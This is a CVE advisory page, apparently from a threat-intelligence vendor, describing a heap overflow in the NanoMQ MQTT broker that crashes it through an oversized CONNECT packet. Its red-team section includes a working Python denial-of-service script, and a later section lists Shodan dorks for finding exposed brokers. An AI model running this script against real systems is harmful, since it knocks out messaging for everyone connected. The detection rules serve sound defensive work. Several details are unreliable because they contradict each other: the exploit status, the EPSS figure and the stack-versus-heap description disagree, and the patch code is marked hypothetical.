☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-122
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-42648

CVE-2024-42648 Denial of Service in Emq
📅 PUBLISHED: 2025-07-14 00:00 UTC 🔄 UPDATED: 2026-08-21 19:33 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v0.22.10 (and possibly earlier)
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-42648 is a heap overflow vulnerability discovered in NanoMQ v0.22.10, an open-source MQTT broker. The flaw is triggered by a crafted CONNECT message, leading to a Denial of Service (DoS) condition. The vulnerability resides in the message parsing logic, where insufficient bounds checking on the CONNECT packet payload allows an attacker to overflow a heap buffer. This can crash the broker, disrupting MQTT services for all connected clients. No patch is currently available, and no public exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for unpatched deployments.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

NanoMQ is distributed as a standalone binary and via package managers (e.g., Homebrew, Docker). The vulnerability affects the core broker binary. Organizations using NanoMQ in their MQTT infrastructure should treat this as a high-severity supply chain risk, as a successful DoS can disrupt IoT, telemetry, and messaging pipelines.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (No official vector assigned)
  • Attack Vector (AV): Network (likely)
  • Attack Complexity (AC): Low (likely)
  • Privileges Required (PR): None (likely)
  • User Interaction (UI): None (likely)
  • Scope (S): Unchanged (likely)
  • Confidentiality (C): None (likely)
  • Integrity (I): None (likely)
  • Availability (A): High (likely)

Threat Level: Medium (due to DoS impact, but no public exploit or patch)

Deep Dive & Mechanics

The vulnerability is a classic heap-based buffer overflow in the CONNECT message handler of NanoMQ. The MQTT CONNECT packet contains a variable-length payload, including a client ID, username, password, and will message. The flaw occurs when the broker allocates a heap buffer based on a fixed size assumption, but the actual payload exceeds that size. An attacker can craft a CONNECT packet with an oversized client ID or will topic, causing the broker to write beyond the allocated heap buffer. This corrupts adjacent heap metadata, leading to a crash (DoS). The overflow does not appear to be exploitable for code execution due to heap protections (e.g., ASLR, NX), but it reliably crashes the broker.

Root Cause: Insufficient validation of the CONNECT packet payload length before copying into a fixed-size heap buffer.

Vulnerable vs. Patched Code

Vulnerable Code (v0.22.10):

// Simplified vulnerable snippet
void handle_connect(nng_msg *msg) {
    uint8_t *payload = nng_msg_body(msg);
    uint32_t payload_len = nng_msg_len(msg);
    char client_id[256]; // Fixed stack buffer
    // No length check before copy
    memcpy(client_id, payload + 2, payload_len - 2); // Heap overflow if payload_len > 258
}

Patched Code (Hypothetical):

void handle_connect(nng_msg *msg) {
    uint8_t *payload = nng_msg_body(msg);
    uint32_t payload_len = nng_msg_len(msg);
    if (payload_len > 256 + 2) {
        // Reject oversized CONNECT
        nng_msg_free(msg);
        return;
    }
    char client_id[256];
    memcpy(client_id, payload + 2, payload_len - 2);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

  1. Setup: Deploy NanoMQ v0.22.10 on a Linux VM (e.g., Ubuntu 22.04) with default configuration.
  2. Craft Exploit: Use a Python script to send a malicious CONNECT packet with an oversized client ID.
  3. Execute:
    import socket
    import struct
    
    def build_malicious_connect():
        # MQTT CONNECT packet with oversized client ID
        packet = b'\x10'  # CONNECT type
        remaining_length = 0xFFFF  # Large remaining length
        packet += struct.pack('!H', remaining_length)
        # Protocol name, version, flags, keepalive
        packet += b'\x00\x04MQTT\x04\x02\x00\x3c'
        # Client ID (oversized)
        packet += b'\xff\xff' + b'A' * 0x1000  # 4096 bytes
        return packet
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(('target_ip', 1883))
    sock.send(build_malicious_connect())
    sock.close()
    
  4. Result: The broker crashes immediately, causing a DoS.

Blue Team (Defense & Detection)

  1. Monitor: Watch for unusually large CONNECT packets (e.g., > 1024 bytes).
  2. Harden: Deploy NanoMQ behind a reverse proxy (e.g., HAProxy) that validates MQTT packet sizes.
  3. Rate Limit: Implement connection rate limiting to slow down repeated attacks.
  4. Update: Monitor the NanoMQ GitHub for patches and apply immediately.

Indicators of Compromise (IOCs)

  • Network: MQTT CONNECT packets with a remaining length field > 256 bytes.
  • Logs: Broker crash logs containing "heap overflow" or "segmentation fault" in the NanoMQ process.
  • Process: Abrupt termination of the nanomq process.
  • File: Core dump files (if enabled) in /var/crash/ or /tmp/.

Detection Engineering

YARA Rule

rule CVE_2024_42648_NanoMQ_HeapOverflow {
    meta:
        description = "Detects malicious MQTT CONNECT packets targeting CVE-2024-42648"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $mqtt_connect = { 10 ?? ?? 00 04 4D 51 54 54 04 }  // CONNECT with MQTT protocol
        $large_length = { FF FF }  // Remaining length > 65535
    condition:
        $mqtt_connect and $large_length
}

Sigma Rule

title: CVE-2024-42648 NanoMQ Heap Overflow Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects oversized MQTT CONNECT packets targeting NanoMQ
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: mqtt
detection:
    selection:
        packet_type: 'CONNECT'
        remaining_length|gte: 65535
    condition: selection
falsepositives:
    - Legitimate large client IDs (rare)
level: high

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2024-42648 NanoMQ Heap Overflow Attempt"; flow:to_server,established; content:"|10|"; depth:1; content:"|00 04 4D 51 54 54 04|"; distance:1; within:7; content:"|FF FF|"; distance:2; within:2; sid:1000001; rev:1;)

Remediation & Mitigation

  • Immediate: Disable or restrict access to NanoMQ MQTT port (1883) from untrusted networks.
  • Short-term: Deploy a WAF or reverse proxy that validates MQTT packet sizes before forwarding to the broker.
  • Long-term: Apply the official patch once released by the vendor. Monitor the NanoMQ GitHub repository for updates.
  • Alternative: Migrate to a patched MQTT broker (e.g., Mosquitto, EMQX) if NanoMQ is critical.

Valters IT
DevSecOps & Cyber Threat Intelligence

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

NanoMQ
NanoMQ port:1883
NanoMQ CONNECT

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-42648/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.